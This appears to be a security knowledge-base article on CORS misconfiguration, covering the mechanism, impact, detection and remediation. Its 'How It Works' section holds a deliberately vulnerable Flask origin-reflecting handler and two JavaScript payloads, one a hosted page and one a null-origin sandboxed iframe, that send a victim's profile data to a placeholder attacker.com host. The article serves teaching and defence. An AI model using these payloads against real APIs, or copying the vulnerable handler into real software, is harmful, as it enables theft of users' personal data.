Description
Cross-Origin Resource Sharing (CORS) is a browser mechanism that controls which origins (domains) can make JavaScript requests to an API and read the responses. A CORS misconfiguration (CWE-346 — Origin Validation Error) occurs when a server's CORS policy is configured too permissively — either reflecting any origin, allowing null origins, or using overly broad wildcard configurations — allowing attacker-controlled websites to make credentialed cross-origin requests on behalf of authenticated victims and read the API responses.
CORS misconfiguration falls under A05:2021 — Security Misconfiguration. It is distinct from CSRF (Cross-Site Request Forgery): CSRF forces the browser to make a request but cannot read the response due to the Same-Origin Policy. A CORS misconfiguration explicitly lifts this restriction, allowing the attacker's JavaScript to read API responses — including sensitive data, CSRF tokens, authentication responses, and user information.
The impact is determined by what the API exposes. A misconfigured CORS policy on an API that returns financial data, personal information, or internal administrative data is a high-severity finding. A misconfigured policy on a public read-only API may have minimal impact.
How It Works
A vulnerable API server reflects any Origin header value back in the Access-Control-Allow-Origin response header:
# Vulnerable Flask API — reflects any origin
@app.after_request
def add_cors(response):
origin = request.headers.get("Origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
An attacker hosts the following page on attacker.com:
<!-- Hosted at https://attacker.com/steal.html -->
<script>
fetch("https://api.victim.com/api/v1/user/profile", {
credentials: "include" // Sends the victim's cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker's server
fetch("https://attacker.com/collect?data=" + encodeURIComponent(JSON.stringify(data)));
});
</script>
The victim visits attacker.com/steal.html (e.g., via a phishing link). Their browser sends the request to api.victim.com including their session cookies. The server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"id": 123, "email": "victim@example.com", "ssn": "123-45-6789", ...}
Because the Access-Control-Allow-Origin header matches the attacker's origin and Access-Control-Allow-Credentials: true is set, the browser allows the attacker's JavaScript to read the full response. The profile data is exfiltrated.
The null origin bypass is a specific dangerous configuration. Some developers allow the null origin for local development. null is sent by sandboxed iframes and browsers in some redirect flows — an attacker can force the null origin using:
<iframe sandbox="allow-scripts" srcdoc='<script>fetch("https://api.victim.com/profile", {credentials:"include"}).then(r=>r.text()).then(d=>fetch("https://attacker.com/?d="+d))</script>'></iframe>
Impact
- Account data exfiltration — attacker reads profile information, PII, financial data, and private records via the victim's authenticated session.
- CSRF token theft — if CSRF tokens are returned in API responses, reading them via CORS misconfiguration enables CSRF attacks that would otherwise be blocked.
- Internal API exposure — internal APIs with permissive CORS are accessible from any website a user visits, not just the intended client origin.
- Session token exposure — if tokens appear in API responses (not just cookies), they can be captured and used independently.
- Administrative function abuse — an attacker can invoke administrative API endpoints on behalf of authenticated admin users who visit the attacker's page.
Detection
- Test CORS with a modified Origin header — send requests with
Origin: https://attacker.comandOrigin: null. Check whetherAccess-Control-Allow-Originin the response reflects the supplied value or allowsnull. - Verify credentials acceptance — check whether
Access-Control-Allow-Credentials: trueis returned alongside a permissive origin. This combination is the exploitable configuration. - Test subdomain trust — if the server trusts
*.victim.com, attempt to use a subdomain that might be takeable or already has an XSS vulnerability to escalate the CORS finding. - Scan all API endpoints — not just the main application domain. Internal APIs, mobile backends, and microservice endpoints are frequently misconfigured. Use tools like CORSScanner or corsy for automated testing.
- Check pre-flight handling — send an
OPTIONSrequest with a non-simple Content-Type to observe how the server handles pre-flight CORS. An overly permissive pre-flight response confirms the misconfiguration.
Remediation
Use an explicit allowlist of trusted origins. Compare the incoming Origin header against a hard-coded set of approved origins; reflect only if it matches:
ALLOWED_ORIGINS = {"https://app.example.com", "https://mobile.example.com"}
@app.after_request
def add_cors(response):
origin = request.headers.get("Origin", "")
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Vary"] = "Origin"
if request.cookies:
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
Never reflect arbitrary origins. Do not set Access-Control-Allow-Origin to the value of the Origin header without validation.
Never allow the null origin in production. The null origin has no legitimate use in production environments and is trivially exploitable via sandboxed iframes.
Restrict Access-Control-Allow-Methods and Access-Control-Allow-Headers to only the HTTP methods and headers your API actually uses. Avoid wildcard * values for headers.
Add the Vary: Origin header whenever the CORS response is origin-dependent. This prevents caching of CORS responses with incorrect origin values.
